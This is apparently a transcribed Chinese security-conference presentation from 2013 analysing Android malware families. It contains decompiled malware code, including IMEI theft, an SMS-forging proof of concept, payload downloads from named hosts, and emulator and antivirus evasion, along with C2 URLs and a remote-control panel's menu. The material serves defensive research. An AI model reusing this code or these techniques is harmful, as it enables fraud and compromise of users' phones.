

移动恶意代码的新技术解析

安天移动安全

2013.11

主讲人介绍

- ◎ 潘宣辰，所见即所得
- ◎ AntiyLabs武汉研发中心
Founder&Leader
- ◎ 技术涉猎较广，主攻手机恶意代码取证，手机反病毒引擎和自动化分析技术，以及移动网络安全。
- ◎ tompan@antiy.com



提纲

◎ 那些年我们分析过的恶意代码

◎ 新时代新风貌

- 好好学习明天就上
- 温故而知新
- 全民从良奔小康

2010年至2012年典型案例回顾

2010

geinimi

2011

- adrd
- Droiddream
- kungfu

2012

- FakeInst
- Smishin
g
- Ssucl

```
Java Decompiler - m.class
classes.dex.dex2jar.jar
com
  geinimi
    a
    ads
      Advertisable
        a
        b
        c
        d
        e
        f
        g
        h
        i
        j
        k
        l
        m
        n
        o
  m.class
    {
      return 17301647;
    }
    public final Intent f()
    {
      StringBuilder localStringBuilder1 = new StringBuilder();
      String str1 = i.b;
      StringBuilder localStringBuilder2 = localStringBuilder1.append(str1);
      String str2 = a("sms_to_phone");
      Uri localUri = Uri.parse(str2);
      Intent localIntent1 = new Intent("android.intent.action.SENDTO", localUri);
      String str3 = a("smc_content");
      Intent localIntent2 = localIntent1.putExtra("sms_body", str3);
      return localIntent1;
    }
    protected final String[] h()
    {
      return this.b;
    }
  }
```

```
cloud@cloud-pc: ~/android/analysis/geinimi_apk/apktool
23 <activity android:theme="@android:style/Theme.Black.NoTitleBar" android
:label="@string/app_name" android:name="com.geinimi.custom.Ad0000_00000004">
24 <intent-filter>
25 <action android:name="android.intent.action.MAIN" />
26 <category android:name="android.intent.category.LAUNCHER" />
27 </intent-filter>
28 </activity>
29 </application>
30 <uses-sdk android:minSdkVersion="3" />
31 <uses-permission android:name="android.permission.RESTART_PACKAGES" />
32 <uses-permission android:name="android.permission.INTERNET" />
33 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
34 <uses-permission android:name="android.permission.CALL_PHONE" />
35 <uses-permission android:name="android.permission.SEND_SMS" />
36 <uses-permission android:name="android.permission.READ_CONTACTS" />
37 <uses-permission android:name="android.permission.SET_WALLPAPER" />
38 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS
" />
39 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /
>
40 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
41 <uses-permission android:name="com.android.launcher.permission.INSTALL_SHOR
TCUT" />
40,5 51%
```

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```
MyService localMyService1 = this;
String str1 = "phone";
TelephonyManager localTelephonyManager = (TelephonyManager)localMyService1.getSystemService(str1);
String str2 = localTelephonyManager.getDeviceId();
this.imei = str2;
String str3 = localTelephonyManager.getSubscriberId();
this.imsi = str3;
```

No.	Time	Source	Destination	Protocol	Info
1	0.000000	192.168.10.130	61.183.9.167	TCP	49965 > http [SYN] Seq=0 win=8192 Len=0 MSS=1460 WS=2 SACK...
2	0.009118	61.183.9.167	192.168.10.130	TCP	http > 49965 [SYN, ACK] Seq=0 Ack=1 win=16384 Len=0 MSS=144...
3	0.009193	192.168.10.130	61.183.9.167	TCP	49965 > http [ACK] Seq=1 Ack=1 win=17280 Len=0
4	0.123191	192.168.10.130	61.183.9.167	HTTP	POST /index.aspx?im=4673b678a2e9664e327871aee963d2cabcf6a920704e6c805e17fe784f71ff0c597890e151618f1fc0f6f5c60e4ad55895
5	0.153668	61.183.9.167	192.168.10.130	HTTP	HTTP/1.1 200 OK (text/html)

Frame 4: 485 bytes on wire (3880 bits), 485 bytes captured (3880 bits)

Ethernet II, Src: IntelCor_91:1e:56 (00:21:5d:91:1e:56), Dst: Tp-LinkT_3a:e0:90 (94:0c:6d:3a:e0:90)

Internet Protocol, Src: 192.168.10.130 (192.168.10.130), Dst: 61.183.9.167 (61.183.9.167)

Transmission Control Protocol, Src Port: 49965 (49965), Dst Port: http (80), Seq: 1, Ack: 1, Len: 431

Hypertext Transfer Protocol

POST /index.aspx?im=4673b678a2e9664e327871aee963d2cabcf6a920704e6c805e17fe784f71ff0c597890e151618f1fc0f6f5c60e4ad55895

[Expert Info (Chat/Sequence): POST /index.aspx?im=4673b678a2e9664e327871aee963d2cabcf6a920704e6c805e17fe784f71ff0c597890e151618f1fc0f6f5c60e4ad55895] Request Method: POST

Request URI: /index.aspx?im=4673b678a2e9664e327871aee963d2cabcf6a920704e6c805e17fe784f71ff0c597890e151618f1fc0f6f5c60e4ad55895

Request Version: HTTP/1.1


User-Agent: J2ME/UCWEB7.4.0.57\r\n

Accept: application/vnd.wap.xhtml+xml,application/xml,text/vnd.wap.wml,text/html,application/xhtml+xml,image/jpeg;q=0.8

Content-Length: 0\r\n

Host: adrd.taxuan.net\r\n

Connection: Keep-Alive\r\n



2010年至2012年典型案例回顾

2010

geinimi


2011

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2012

- FakeInst
- Smishin
g
- Ssucl

- 植入50余款软件，上传至官方市场
- 利用系统漏洞提权
- Google专杀工具被植入新的木马BgServ






2010年至2012年典型案例回顾



第一代 第二代 第三代

代码结构



密钥资源

```
private static byte[] defPassword = { 70, 117, 99, 107, 95, 115, 69, 120, 121, 45, 97, 76, 100, 33, 80, 119 }; private static byte[] defPassword = { 70, 117, 99, 107, 95, 115, 69, 120, 121, 45, 97, 76, 100, 33, 80, 119 };
```

逐字节求反

网络资源

<http://search.gongfu-android.com:8511/search/getty.php>
<http://search.gongfu-android.com:8511/search/rpty.php>
<http://search.gongfu-android.com:8511/search/sayhi.php>

<http://search.gongfu-android.com:8511/search/isavaible.php>
<http://search.zs169.com:8511/search/isavaible.php>
<http://search.zi18.com:8511/search/isavaible.php>

<http://ad.pandanew.com:8511/search/>
<http://ad.phonego8.com:8511/search/>
<http://ad.my968.com:8511/search/>
<http://ad.a142857.com:8511/search/>

形态特点

捆绑到正常应用中，伪装为 google search 服务

捆绑到正常应用中，伪装为正常应用一部分

捆绑到正常应用中，伪装为广告件

恶意机理

编写Android恶意代码

Android代码部分完成自启动和功能激活
 恶意代码功能实现在Linux elf模块中
 替换系统自启动程序

Android代码部分完成自启动和功能激活
 恶意代码功能实现在Linux elf模块中
 替换系统自启动程序
 Linux elf模块采用多种方式隐藏（图片尾部，数据段）



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- FakeInst
- Smishing
- Ssuc1

Left Screenshot (2010):

- Package: Hi Vuusohn
- Sub-package: neeFai6fo
- Classes: AppCompatActivity, Heileucoo, Rooz3gioS, Shaeneh3d, aeP6eishu, eid6fei1D, heedaiI7s, iequah0Zu
- Log: `handleMessage (Landroid/os/Message:~)V`
- MD5: 3D22C8C8B7C2CBFBD80F16C62EBE730F
- SHA1: A9A65651E7D32B1C6A033A2F91D604E0D21B6C02
- 恶意 Trojan/Android.FakeInst.b [pay, fra]

Right Screenshot (2012):

- Package: ThiePaem3
- Sub-package: Eeshoh
- Classes: AiPuph, AitaG9oh, AppCompatActivity, OAch2go, OZooe2, Utoiji, Uucaiz
- Log: `handleMessage (Landroid/os/Message:~)V`
- MD5: 654DFC67440413DEFCD003AFB8C983EA
- SHA1: 6EF2837FA9485236AD41C41447C3D86F9E0781DA
- 恶意 Trojan/Android.FakeInst.b [pay, fra]

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```
Intent intent = new Intent();
intent.setClassName("com.android.mms",
    "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
```

Services.class

```
if (this.task.equals("delivermsg"))
{
    String str3 = localObject2.getString("content");
    Intent localIntent3 = new Intent();
    localIntent3.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
    localIntent3.setAction("android.provider.Telephony.SMS_RECEIVED");
    Object[] arrayOfObject4 = new Object[1];
    arrayOfObject4[0] = Tools.hexStringToBytes(str3);
    localIntent3.putExtra("pdus", arrayOfObject4);
    localIntent3.putExtra("format", "3gpp");
    startService(localIntent3);
    statistic(-400);
    stopSelf();
    return;
}
```

2010年至2012年典型案例回顾

2010

geinimi


2011

- adrd
- Droiddream
- kungfu


2012

- FakeInst
- Smishing
- Ssucl

- ⊙ 从手机感染PC
- ⊙ 读取SD卡上的所有文件
- ⊙ 读取所有短信
- ⊙ 读取联系人信息和地理位置记录
- ⊙ 在PC端录音并回传






2013年的恶意代码案例



- ◎ 使用DexGuard来保护
 - 基于clinit的代码动态解密
 - 基于AXML格式的字段隐藏
- ◎ 注册为系统管理器来避免卸载
- ◎ 利用系统框架漏洞来隐藏

```
vim 961 vim
34 </activity>
35 <activity = "System" = ".cCoI0Io" = "singleTop" />
36 <service = ".OC0cC011" />
37 <receiver = "System" = ".OC11Co0" = "android.permission.BIND_DEVICE_ADMIN">
38   <meta-data = "android.app.device_admin" = "@xml/ccclocc" />
39   <intent-filter>
40     <action android:name="com.strain.admin.DEVICE_ADMIN_ENABLED" />
41   </intent-filter>
42 </receiver>
43 <service = ".MainService" />
44 <receiver = ".I00IC0cI">
45   <intent-filter = "1000">
46     <action android:name="android.intent.action.BOOT_COMPLETED" />
47     <action android:name="android.intent.action.QUICKBOOT_POWERON" />
48     <action android:name="android.intent.action.USER_PRESENT" />
49   </intent-filter>
50 </receiver>
51 <receiver = ".ICcIIlo">
52   <intent-filter = "1000">
53     <action android:name="android.intent.action.TIME_SET" />
54     <action android:name="android.intent.action.TIMEZONE_CHANGED" />
55     <action android:name="android.intent.action.TIME_CHANGED" />
43,17 60%
```

2013年的恶意代码案例



WUC's Conference in Geneva
On behalf of all at the World Uyghur Congress (WUC), the Unrepresented Nations and Peoples Organization (UNPO) and the Society for Threatened Peoples (STP), Human Rights in China: Implications for East Turkestan, Tibet and Southern Mongolia
In what was an unprecedented

你现在控制的手机号码为: [data/phone1364239013604](#) [点击返回](#)

以下为发送 `intent` 命令 (扩展功能使用)

action_:

category_:

data_:

让客户端下载软件并静默安装

软件URL_:

[查看或者卸载该手机中已经安装的所有小木马程序](#)


[查看该手机中短信, 有新短信时会自动更新短信列表](#)

[查看该手机和sim卡中通讯录, 需要发命令 \(一键发送\)](#)

[查看该手机目前所处的位置, 需要发命令 \(一键发送\)](#)

[查看该手机上装有的所有软件, 方便定制软件劫持工具, 以获取QQ, 邮箱, MSN等软件密码](#)




2013年的恶意代码案例






Name	Value	Start	Size	Color	Comment
▼ struct header_item dex_header		0h	70h	Fg: Bg	Dex file header
▶ struct dex_magic magic	dex 035	0h	8h	Fg: Bg	Magic value
uint checksum	1806A286h	8h	4h	Fg: Bg	Alder32 checksum of rest of file
▶ SHA1 signature[20]	482053E6CD4...	Ch	14h	Fg: Bg	SHA-1 signature of rest of file
uint file_size	52356	20h	4h	Fg: Bg	File size in bytes
uint header_size	46208	24h	4h	Fg: Bg	Header size in bytes
uint endian_tag	12345678h	28h	4h	Fg: Bg	Endianness tag
uint link_size	0	2Ch	4h	Fg: Bg	Size of link section
uint link_off	0	30h	4h	Fg: Bg	File offset of link section
uint map_off	52208	34h	4h	Fg: Bg	File offset of map list
uint string_ids_size	116	38h	4h	Fg: Bg	Count of strings in the string ID list

	0	1	2	3	4	5	6	7	8	9	a	b	c	d	e	f	
00000050h:	05	00	00	00	EC	B8	00	00	4D	00	00	14	B9	00	00	00	;施..M....?.
00000060h:	05	00	00	00	7C	BB	00	00	68	10	00	00	1C	BC	00	00	; ?.h....?.
00000070h:	CF	27	2D	B0	D4	85	FD	19	EF	D3	46	84	0F	7C	25	BC	; ?-霸王.稿F? ??
00000080h:	B2	FA	10	F9	50	37	7A	F4	41	A9	9C	B7	C3	E4	39	82	; 产.鹅7z.餐.访??
00000090h:	B7	7E	C8	65	82	96	99	7A	79	8B	BD	6B	59	B2	E1	F9	; 頰善倂檢y嬲ky册?
000000a0h:	00	13	DE	2C	FA	0A	44	25	5E	5F	46	43	6C	62	CA	7E	; ..??D% ^_FC1b獨?
000000b0h:	4B	A0	BC	C7	74	41	45	62	AB	22	97	B6	7E	83	D9	C8	; k特答AEB?禄~胃?
000000c0h:	C8	E4	53	56	6E	07	CC	A4	49	D8	E5	E2	0E	7C	12	C0	; 蠟sVn.踏I劍?!.??
000000d0h:	62	00	23	A1	D0	8C	09	5D	8F	ED	98	8C	A3	A1	74	27	; b.#()?]恐槍! t?
000000e0h:	2A	F0	4A	6B	D1	88	65	69	8F	60	89	D5	B2	8B	A6	9D	; *舖k愉ei.靡直賸?
000000f0h:	5D	FE	3F	25	69	34	71	F4	EA	3C	7A	DC	6B	90	40	D1	;]?#i4q.繁=z躑他?
00000100h:	E9	0C	C8	4D	C8	52	2C	42	39	18	3E	44	FA	BF	EF	20	; ?.菘菜,B9.>D .?
00000110h:	B6	64	76	99	A9	B2	1D	F5	25	5D	6F	84	8B	9E	DB	51	; 禿v槍??]o劇伙Q
00000120h:	C5	75	4B	A5	2C	B3	ED	BB	23	2F	6A	8C	AA	FC	52	72	; 肥k?稠?/j尔廣t
00000130h:	CC	DD	27	73	2D	42	F6	14	0F	B1	6A	53	38	79	52	0A	; 梯's-B?.映S8yR.
00000140h:	C8	67	7C	22	C2	AC	80	BE	9C	0F	CF	37	E2	6B	7F	D3	; 萬 "卢e.緜.?飯??
00000150h:	EC	0A	75	35	33	E2	FE	75	A9	61	E7	7F	5D	A7	90	01	; ?u53恂u " ?]
00000160h:	CF	DC	C0	19	BF	F4	F3	40	17	40	FF	D0	98	63	BA	0A	; 究?眠驚.@ 表c?
00000170h:	97	A8	03	D2	AF	8E	EE	0D	A9	8F	A6	8D	42	F7	F9	54	; 樁.谷唐.圖 B器I
00000180h:	0B	5F	BC	3A	8D	43	DB	A3	84	B4	3F	59	21	F0	56	6F	; .?嶺郑劫?Y! 餅o
00000190h:	2A	A2	61	0C	00	76	00	FC	A1	50	85	D6	5F	31	D1	9A	; * ..v. p咿 1袋
000001a0h:	87	EF	40	A2	A5	52	69	D9	99	2F	BF	48	C8	68	9A	3E	; 困@ V Ri.賸/縉箭?
000001b0h:	14	33	D2	6C	73	88	97	74	DA	01	16	E4	46	49	46	AF	; .s.積s.坳t?.絲IF?
000001c0h:	DC	D3	EC	61	89	57	26	3E	AA	66	E7	C0	B7	A4	7D	0C	; 以雙標&>獲續從).
000001d0h:	4B	95	74	17	40	AD	DA	37	10	4B	F7	01	37	C0	12	4C	; K.匪.@ 7.K??2L
000001e0h:	02	61	64	42	6E	E3	69	3A	32	87	FE	84	1D	F1	14	FA	; .adBn.銀:2團???
000001f0h:	A3	82	E7	CA	2E	67	90	DE	DA	25	97	E1	4C	09	86	A9	; 縉.g.懷?樞L.咽
00000200h:	92	B9	B2	4E	1E	33	3E	02	7A	F4	58	93	A5	96	BD	4F	; 括.膝.32.z.鋁.指.相N


2013年的恶意代码案例



2013年的恶意代码案例



好好学习明天就上



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◎ 2012年11月2日, Xuxian Jiang公布任意短信构造漏洞



◎ 2012年11月3日, Thomas Cannon公布PoC代码

```
Intent intent = new Intent();
intent.setClassName("com.android.mms",
    "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
```


◎ 2012年11月11日, 发现利用该漏洞的家族新变种

The screenshot shows an Android IDE with a Java code snippet for a service class. The code is as follows:

```
Services.class
if (this.task.equals("delivermsg"))
{
    String str3 = localObject2.getString("content");
    Intent localIntent3 = new Intent();
    localIntent3.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
    localIntent3.setAction("android.provider.Telephony.SMS_RECEIVED");
    Object[] arrayOfObject4 = new Object[1];
    arrayOfObject4[0] = Integer.toHexString(str3);
    localIntent3.putExtra("pdus", arrayOfObject4);
    localIntent3.putExtra("format", "3gpp");
    startService(localIntent3);
    statistic(-400);
    stopSelf();
    return;
}
```

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- 2013年7月初bluebox声称主密钥漏洞
- 2013年7月5~10日陆续披露相关原理
- 2013年7月21日首次捕获SkullKey
- 2013年8月4号，首次发现某应用市场大面积出现应用被主密钥漏洞利用恶意代码



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动态加载



安全软件
对抗

- 使用商业保护技术
DexGuard
- 基于clinit的代码
动态解密

```
vim vim
34 </activity>
35 <activity="System"="".cCoI0Io"="singleTop" />
36 <service="".0C0cC011" />
37 <receiver="System"="".0C11Co0"="android.permission.BIND_DEVICE_ADMIN">
38   <meta-data="android.app.device_admin"="@xml/ccclocc" />
39   <intent-filter>
40     <action android:name="com.strain.admin.DEVICE_ADMIN_ENABLED" />
41   </intent-filter>
42 </receiver>
43 <service="".MainService" />
44 <receiver="".IO0IC0cI">
45   <intent-filter="1000">
46     <action android:name="android.intent.action.BOOT_COMPLETED" />
47     <action android:name="android.intent.action.QUICKBOOT_POWERON" />
48     <action android:name="android.intent.action.USER_PRESENT" />
49   </intent-filter>
50 </receiver>
51 <receiver="".ICcIIlo">
52   <intent-filter="1000">
53     <action android:name="android.intent.action.TIME_SET" />
54     <action android:name="android.intent.action.TIMEZONE_CHANGED" />
55     <action android:name="android.intent.action.TIME_CHANGED" />
43,17 60%
```

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
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Name	Value	Start	Size	Color	Comment
▼ struct header_item dex_header		0h	70h	Fg: Bg	Dex file header
▶ struct dex_magic magic	dex 035	0h	8h	Fg: Bg	Magic value
uint checksum	1806A2B6h	8h	4h	Fg: Bg	Alder32 checksum of rest of file
▶ SHA-1 signature[20]	482053E6CD4...	Ch	14h	Fg: Bg	SHA-1 signature of rest of file
uint file_size	52356	20h	4h	Fg: Bg	File size in bytes
uint header_size	46208	24h	4h	Fg: Bg	Header size in bytes
uint endian_tag	12345678h	28h	4h	Fg: Bg	Endianness tag
uint link_size	0	2Ch	4h	Fg: Bg	Size of link section
uint link_off	0	30h	4h	Fg: Bg	File offset of link section
uint map_off	52208	34h	4h	Fg: Bg	File offset of map list
uint string_ids_size	116	38h	4h	Fg: Bg	Count of strings in the string ID list

```

0 1 2 3 4 5 6 7 8 9 a b c d e f
00000050h: 05 00 00 00 EC B8 00 00 4D 00 00 00 14 B9 00 00 ; ...施..M....?.
00000060h: 05 00 00 00 7C BB 00 00 68 10 00 00 1C BC 00 00 ; ...|?.h....?.
00000070h: CF 27 2D B0 D4 85 FD 19 EF D3 46 84 0F 7C 25 BC ; ?-第真.稿F?|%?
00000080h: B2 FA 10 F9 50 37 7A F4 41 A9 9C B7 C3 E4 39 82 ; 产,弱7z餐 访??
00000090h: B7 7E C8 65 82 96 99 7A 79 8B BD 6B 59 B2 E1 F9 ; 赖香併檢y爐ky册?
000000a0h: 00 13 DE 2C FA 0A 44 25 5E 5F 46 43 6C 62 CA 7E ; ..??D*^_FC1b窗
000000b0h: 4B A0 BC C7 74 41 45 62 AB 22 97 B6 7E 83 D9 C8 ; k梓答AEB?禄~胃?
000000c0h: C8 E4 53 56 6E 07 CC A4 49 D8 E5 E2 0E 7C 12 C0 ; 嬌SVn,踏I劉?|.?
000000d0h: 62 00 23 A1 D0 8C 09 5D 8F ED 98 8C A3 A1 74 27 ; b.#{^?}忍槍!t'
000000e0h: 2A F0 4A 6B D1 88 65 69 8F 60 89 D5 B2 8B A6 9D ; *鋪k繪e1靡壹曠
000000f0h: 5D FE 3F 25 69 34 71 F4 EA 3D 7A DC 6B 90 40 D1 ; ]?#14q葵=z躡世?
00000100h: E9 0C C8 4D C8 52 2C 42 39 18 3E 44 FA BF EF 20 ; ?和菜,B9.>D ?
00000110h: B6 64 76 99 A9 B2 1D F5 25 5D 6F 84 8B 9E DB 51 ; 禿v櫓??]o劇林Q
00000120h: C5 75 4B A5 2C B3 ED BB 23 2F 6A 8C AA FC 52 72 ; 肥k?欄?/j尔廣r
00000130h: CC DD 27 73 2D 42 F6 14 0F B1 6A 53 38 79 52 0A ; 梯's-B?.映S8yR.
00000140h: C8 67 7C 22 C2 AC 80 8E 9C 0F CF 37 E2 6B 7F D3 ; 萬!"卢e緹.?飯0?
00000150h: EC 0A 75 35 33 E2 FE 75 A9 61 E7 7F 5D A7 90 01 ; ?uS3伺u ? ]] .
00000160h: CF DC 0C 19 BF F4 F3 40 17 40 FF D0 98 63 BA 0A ; 莞?睡驚.0 表c?
00000170h: 97 A8 03 D2 AF 8E EE OD A9 8F A6 8D 42 F7 F9 54 ; 棧.谷屠.圖 B歸T
00000180h: 0B 5F BC 3A 8D 43 DB A3 84 B4 3F 59 21 F0 56 6F ; .?岫郑劝?y!餅o
00000190h: 2A A2 61 0C 00 07 06 0F FC A1 50 85 D6 5F 31 D1 9A ; *...v. p呀 1羹
000001a0h: 87 EF 40 A2 A5 52 69 D9 99 2F BF 48 C8 68 9A 3B ; 困@vR1賤/縉箭?
000001b0h: 14 33 D2 6C 73 88 97 74 DA 01 16 E4 46 49 46 AF ; .3續s拼t?.錄IF?
000001c0h: DC D3 EC 61 89 57 26 3E AA 66 E7 C0 B7 A4 7D 0C ; 以鑿壞&?獲績筏}.
000001d0h: 4B 95 74 17 40 AD DA 37 10 4B FE 01 37 C0 12 4C ; k胆.0 7.K???I
000001e0h: 02 61 64 42 6E E3 69 3A 32 87 FE 84 1D F1 14 FA ; .adBn銀;2團???.
000001f0h: A3 82 E7 CA 2E 67 90 DE DA 25 97 E1 4C 09 86 A9 ; 總.g懷?標L.咽
00000200h: 82 B9 B2 4E 1E 33 3E 02 7A E4 58 93 A5 96 BD 4B ; 括騰.3?.z組損相N
    
```



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安全软件
对抗

混淆非常影响阅读

a\b\c型

|||||型

.....

```
const-string v1, "co"  
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder; ->append(  
move-result-object v1  
const-string v2, "m.ul"  
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder; ->append(  
move-result-object v1  
const-string v2, "k.k."  
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder; ->append(  
move-result-object v1  
const-string v2, "IPU"  
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder; ->append(  
move-result-object v1  
const-string v2, "SM"
```

com.ul.k.IPUSM

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安全软件
对抗

主要接口	功能
Class.forName	获取类对象
newInstance	创建对象
getConstructors	获取构造方法对象
getMethods	获取函数对象
getDeclaredFields	获取属性对象
setAccessible	设置成员可见性
invoke	调用函数

◎ 某样本动态加载类
“com.dynamic.DynamicTask”的runTask方法

```
private int strisrgrfioct()
{
    File localFile = new File(this.fozrigrfioct);
    xisrigrfioct.strisrgrfioct("RunDexTask", "DexDir:" + this.protesrigrfioct);
    xisrigrfioct.strisrgrfioct("RunDexTask", "DexPath:" + this.fozrigrfioct + " Exist:" + localFile.exists());
    if (localFile.exists())
    {
        try
        {
            Class localClass = new DexClassLoader(this.fozrigrfioct, this.protesrigrfioct, null, this.strisrgrfioct.getClassLoader()).loadClass("com.dynamic.DynamicTask");
            Class[] arrayOfClass = new Class[2];
            arrayOfClass[0] = Context.class;
            arrayOfClass[1] = Integer.TYPE;
            Method localMethod = localClass.getMethod("runTask", arrayOfClass);
            this.volzrigrfiocti = localClass.getDeclaredField("HEED_TIME").get(localClass);
            xisrigrfioct.strisrgrfioct("TAG", "Static Field Run Time:" + this.volzrigrfiocti);
            this.incesrigrfioctf = localClass.getDeclaredField("MS").get(localClass).toString();
            xisrigrfioct.strisrgrfioct("TAG", "Static Field MS:" + this.incesrigrfioctf);
            if (this.volzrigrfiocti < this.incesrigrfioct)
                return -1;
            if (localMethod != null)
            {
                Object localObject = localClass.newInstance();
                Object[] arrayOfObject = new Object[2];
                arrayOfObject[0] = this.strisrgrfioct;
                arrayOfObject[1] = Integer.valueOf(this.incesrigrfioct);
                int i = (Integer)localMethod.invoke(localObject, arrayOfObject).intValue();
                xisrigrfioct.strisrgrfioct("TAG", "Ret:" + i);
                return i;
            }
        }
    }
}
```

温故而知新



⊙ 检查模拟器

```
public Boolean isContant(Context paramContext)
{
    String str = getMyPhoneNumber(paramContext);
    if (str == null)
        return Boolean.valueOf(false);
    if (str.contains("1555"))
        return Boolean.valueOf(true);
    return Boolean.valueOf(false);
}

public boolean isEmulator()
{
    return (Build.MODEL.equals("sdk") || (Build.MODEL.equals("google_sdk")));
}
```

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对抗

◎ 检查环境

- 加载的子包会检测用户所在地是否在“广州”、“深圳”、“北京”、“上海”等一线城市，如果是直接退出，用于逃避检测；否则，则下载同类应用并拷贝

```
try
{
    Iterator localIterator = this.val$context.getPackageManager().getInstalledPackages(64).iterator();
    label29: String str1;
    int j;
    if (!localIterator.hasNext())
    {
        if (i != 0)
            break label355;
        str1 = TaskUtilAddr.getAllLoc();
        Log.d("Loc", str1);
        if ((TextUtils.isEmpty(str1)) || (str1.indexOf("广州") >= 0) || (str1.toLowerCase(Locale.getDefault()).indexOf("guangzhou") >= 0) || (str1.indexOf("深圳") >= 0) || (str1.
        break label280;
        j = TaskUtilOther.getRandom(1, 15);
        break label396;
    }
    while (true)
    {
        if (k >= 3)
        {
            if ((TextUtils.isEmpty(str1)) || (str1.indexOf("广州") >= 0) || (str1.toLowerCase(Locale.getDefault()).indexOf("guangzhou") >= 0))
                break label374;
            str2 = DynamicTask.getSO(this.val$context, "SysSeedHelper.apk", "http://dom.chenxintao.com/update/SysSeedHelper.apk");
            str3 = DynamicTask.getSO(this.val$context, "libMataInfo.so", "http://res.51appchina.com:9394/res/instruction/libMataInfo.so");
            localPowerManager = (PowerManager)DynamicTask.mContext.getSystemService("power");
            m = 0;
            break label402;
            if (!((PackageInfo)localIterator.next()).packageName.equalsIgnoreCase("com.google.android.syseehelpservice"))
                break;
            i = 1;
            break label29;
            label280: j = TaskUtilOther.getRandom(150, 300);
            break label396;
        }
    }
}
```

下载相应文件，并返回文件所在路径

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◎ 检查安全软件

– 样本: Skullkey.a

- 比较是否运行有360安全监测服务

```
(com.google.c.c.b(getApplicationContext(), "com.qihoo360.mobilesafe.service.SafeManageService"))
```

- 比较是否运行有lbe安全监测服务

```
if ((com.google.c.c.b(getApplicationContext(), "com.lbe.security.service.SecurityService"))  
{  
    File localFile1 = new File("/system/xbin/su");  
    File localFile2 = new File("/system/bin/su");  
    if ((localFile1.exists() || (localFile2.exists()))  
    {  
        stopSelf();  
        return super.onStartCommand(paramIntent, paramInt1, paramInt2);  
    }  
}
```

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◎现实是残酷的，我们所见的往往是冰山一角


◎广告件之殇

广告件技术成熟稳定

广告件功能全面

广告件的触发机制足够复杂和灵活

Action合适




Time合适



Activity合适

触发



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◎广告件之殇

广告件技术成熟稳定

广告件功能全面

广告件的触发机制足够复杂和灵活

"android.intent.action.MAIN"

X

"android.intent.category.HOME"

X

包名"com.android.*"

X

样本本身的界面

X

与服务BR相同的接口

X

与服务US有相同的接口

X

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◎现实是残酷的，我们所见的往往是冰山一角

◎广告件之殇


广告件技术成熟稳定

广告件功能全面

广告件的触发机制足够复杂和灵活

样本启动时加载u.jar，该jar包来源于一个dat文件：

贴片广告的核心类均来自这个jar包，包结构如下：



其中IPRM和IPUSM为贴片广告弹出的核心类。

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◎ 广告件之殇

— 隐私泄漏—案例二：上传手机号码

```
GET /action/connect/active?
app_id=6c28a3a170108e5f0403a73512c1e4e5&udid=123451234512345&imsi=310260123456789&mid=15555218135&net
=internet&loc=&app_version=1.7.7&sdk_version=1.6.3&device_name=generic&device_brand=generic&carrier=4098c16
8467eac70c590d8aefc677de4&device_type=android&os_version=2.3.7&country_code=CN&language=zh&cid=mbfrpo
1tj5pst5j730gahhreciac49tr&act=com.windrey.healthy.ReceiverRestrictedContext&channel=gfan&device_widht
h=480&device_height=800&at=1351565057806 HTTP/1.1
udid: c32a7fd25518e55193890111ebfed2fb
Host: app.wapx.cn
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/1.1.11
Date: Tue, 30 Oct 2012 02:43:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 603
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<ConnectReturnObject>
  <Success>true</Success>
```

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◎ 广告件之殇

- 资费消耗一案例三：私自下载推广app

```
GET /apkfile/BaiduBrowser.apk HTTP/1.1
Host: 42.96.172.176
Connection: Keep-Alive

08:55:14 HTTP/1.1 200 OK
08:55:14 Server: nginx/1.0.12
08:55:14 Date: Mon, 29 Jul 2013 08:55:15 GMT
08:55:14 Content-Type: application/octet-stream
08:55:14 Content-Length: 3538517
08:55:14 Last-Modified: wed, 26 Jun 2013 07:01:23 GMT
08:55:14 Connection: keep-alive
08:55:14 Accept-Ranges: bytes|

08:55:14 PK.....v.B....Uy..
08:55:14 i.....META-INF/
08:55:14 MANIFEST.MF..Y.....B....s.....l.....8..>.j.....S2..s...NnY.Y...
08:55:14 3.....5k.....z.....?.&.....ev.U.&...../..L.....@.4;.....<...Z.....
08:55:14 :..7.....<9..e.....#...J..L....A%
08:55:14 5.....
08:55:14 o...[lU#.zb.....q..+..l../.b.x55...-.....7...&.G.'..fm1.$!Op....U;nk....7.....8f.e
08:55:14 to.SUS.|...K.5.....;.....|.....y.8...s/'..2...Ug..Q.\.v|qX
08:55:14 _?...[...US.O.N...S,OD...+q2...0.n].".(O>%/)...F..8.n.2.|
08:55:46 q.....s2.Hx...."-.....q.J....M.73...6.A.G...-J..t...n...C.j.....T.Y...].q.oK.w..Ev.>.&.=._/..
%..pL#...j.BD...1{...zo.&.o...2kRg.!..w.C.E..m,...NM
08:55:46 H.....&.....m8.A...F8]..kJ...+P....]U....~.c...oi..<...
avi8Y.5w..../5.R.n.1...^.%....9..4..E1...Iz.*xu...v/.[...]..f...[:.....7
[...".b.....<.J.=...u..7....ys...3st...(:.e.\uj.Y.^...A...].o.....\.....D...s.....5
{Zp.Jw...y....E.9...9[...|..!...({}%...`Yw.>!.]...Yy.....%..<G.l..g.>.).....;..P..
y.(...6.....!...t.\.b..-...].L.<..].<6...u....
.l...U.....<*.Y...{.8.~@.c.o.zs.O=?..".k.V.Uc\h.(.d.....Vgo...~.ZHx.*.za%.,_u.>...w^
+.i..g...w.S.N..e..{n|b..\Dui.\.G...
+...CO...MDm..._...m.MQk.\.N.....>.\.C.a....Q....
